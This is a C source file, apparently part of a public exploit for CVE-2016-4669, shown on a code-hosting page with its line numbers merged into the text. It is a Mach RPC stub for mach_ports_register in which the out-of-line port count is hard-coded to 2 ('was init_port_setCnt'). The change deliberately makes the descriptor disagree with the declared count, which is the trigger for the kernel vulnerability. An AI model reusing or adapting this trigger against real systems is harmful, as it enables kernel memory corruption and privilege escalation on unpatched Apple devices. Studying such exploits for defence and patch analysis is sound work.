Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4669/task.c
Views: 11780
#include "__task.h"12#ifndef UseStaticTemplates3#define UseStaticTemplates 04#endif /* UseStaticTemplates */56#ifndef __MachMsgErrorWithoutTimeout7#define __MachMsgErrorWithoutTimeout(_R_) { \8switch (_R_) { \9case MACH_SEND_INVALID_DATA: \10case MACH_SEND_INVALID_DEST: \11case MACH_SEND_INVALID_HEADER: \12mig_put_reply_port(InP->Head.msgh_reply_port); \13break; \14default: \15mig_dealloc_reply_port(InP->Head.msgh_reply_port); \16} \17}18#endif /* __MachMsgErrorWithoutTimeout */1920#ifndef __AfterSendRpc21#define __AfterSendRpc(_NUM_, _NAME_)22#endif /* __AfterSendRpc */2324#ifndef __BeforeSendRpc25#define __BeforeSendRpc(_NUM_, _NAME_)26#endif /* __BeforeSendRpc */2728#define msgh_request_port msgh_remote_port29#define msgh_reply_port msgh_local_port3031#ifndef mig_internal32#define mig_internal static __inline__33#endif /* mig_internal */3435#ifndef mig_external36#define mig_external37#endif /* mig_external */3839#if !defined(__MigTypeCheck) && defined(TypeCheck)40#define __MigTypeCheck TypeCheck /* Legacy setting */41#endif /* !defined(__MigTypeCheck) */4243#ifndef __DeclareSendRpc44#define __DeclareSendRpc(_NUM_, _NAME_)45#endif /* __DeclareSendRpc */4647mig_internal kern_return_t __MIG_check__Reply__mach_ports_register_t(__Reply__mach_ports_register_t *Out0P)48{4950typedef __Reply__mach_ports_register_t __Reply __attribute__((unused));51if (Out0P->Head.msgh_id != 3503) {52if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)53{ return MIG_SERVER_DIED; }54else55{ return MIG_REPLY_MISMATCH; }56}5758#if __MigTypeCheck59if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||60(Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))61{ return MIG_TYPE_ERROR ; }62#endif /* __MigTypeCheck */6364{65return Out0P->RetCode;66}67}6869/* Routine mach_ports_register */70mig_external kern_return_t __mach_ports_register71(72task_t target_task,73mach_port_array_t init_port_set,74mach_msg_type_number_t init_port_setCnt75)76{7778#ifdef __MigPackStructs79#pragma pack(4)80#endif81typedef struct {82mach_msg_header_t Head;83/* start of the kernel processed data */84mach_msg_body_t msgh_body;85mach_msg_ool_ports_descriptor_t init_port_set;86/* end of the kernel processed data */87NDR_record_t NDR;88mach_msg_type_number_t init_port_setCnt;89} Request __attribute__((unused));90#ifdef __MigPackStructs91#pragma pack()92#endif9394#ifdef __MigPackStructs95#pragma pack(4)96#endif97typedef struct {98mach_msg_header_t Head;99NDR_record_t NDR;100kern_return_t RetCode;101mach_msg_trailer_t trailer;102} Reply __attribute__((unused));103#ifdef __MigPackStructs104#pragma pack()105#endif106107#ifdef __MigPackStructs108#pragma pack(4)109#endif110typedef struct {111mach_msg_header_t Head;112NDR_record_t NDR;113kern_return_t RetCode;114} __Reply __attribute__((unused));115#ifdef __MigPackStructs116#pragma pack()117#endif118/*119* typedef struct {120* mach_msg_header_t Head;121* NDR_record_t NDR;122* kern_return_t RetCode;123* } mig_reply_error_t;124*/125126union {127Request In;128Reply Out;129} Mess;130131Request *InP = &Mess.In;132Reply *Out0P = &Mess.Out;133134mach_msg_return_t msg_result;135136#ifdef __MIG_check__Reply__mach_ports_register_t__defined137kern_return_t check_result;138#endif /* __MIG_check__Reply__mach_ports_register_t__defined */139140__DeclareSendRpc(3403, "mach_ports_register")141142#if UseStaticTemplates143const static mach_msg_ool_ports_descriptor_t init_port_setTemplate = {144/* addr = */ (void *)0,145/* coun = */ 0,146/* deal = */ FALSE,147/* copy is meaningful only in overwrite mode */148/* copy = */ MACH_MSG_PHYSICAL_COPY,149/* disp = */ 19,150/* type = */ MACH_MSG_OOL_PORTS_DESCRIPTOR,151};152#endif /* UseStaticTemplates */153154InP->msgh_body.msgh_descriptor_count = 1;155#if UseStaticTemplates156InP->init_port_set = init_port_setTemplate;157InP->init_port_set.address = (void *)(init_port_set);158InP->init_port_set.count = 2; // was init_port_setCnt;159#else /* UseStaticTemplates */160InP->init_port_set.address = (void *)(init_port_set);161InP->init_port_set.count = 2; // was init_port_setCnt;162InP->init_port_set.disposition = 19;163InP->init_port_set.deallocate = FALSE;164InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;165#endif /* UseStaticTemplates */166167168InP->NDR = NDR_record;169170InP->init_port_setCnt = init_port_setCnt;171172InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|173MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);174/* msgh_size passed as argument */175InP->Head.msgh_request_port = target_task;176InP->Head.msgh_reply_port = mig_get_reply_port();177InP->Head.msgh_id = 3403;178179/* BEGIN VOUCHER CODE */180181#ifdef USING_VOUCHERS182if (voucher_mach_msg_set != NULL) {183voucher_mach_msg_set(&InP->Head);184}185#endif // USING_VOUCHERS186187/* END VOUCHER CODE */188189__BeforeSendRpc(3403, "mach_ports_register")190msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);191__AfterSendRpc(3403, "mach_ports_register")192if (msg_result != MACH_MSG_SUCCESS) {193__MachMsgErrorWithoutTimeout(msg_result);194{ return msg_result; }195}196197198#if defined(__MIG_check__Reply__mach_ports_register_t__defined)199check_result = __MIG_check__Reply__mach_ports_register_t((__Reply__mach_ports_register_t *)Out0P);200if (check_result != MACH_MSG_SUCCESS)201{ return check_result; }202#endif /* defined(__MIG_check__Reply__mach_ports_register_t__defined) */203204return KERN_SUCCESS;205}206207208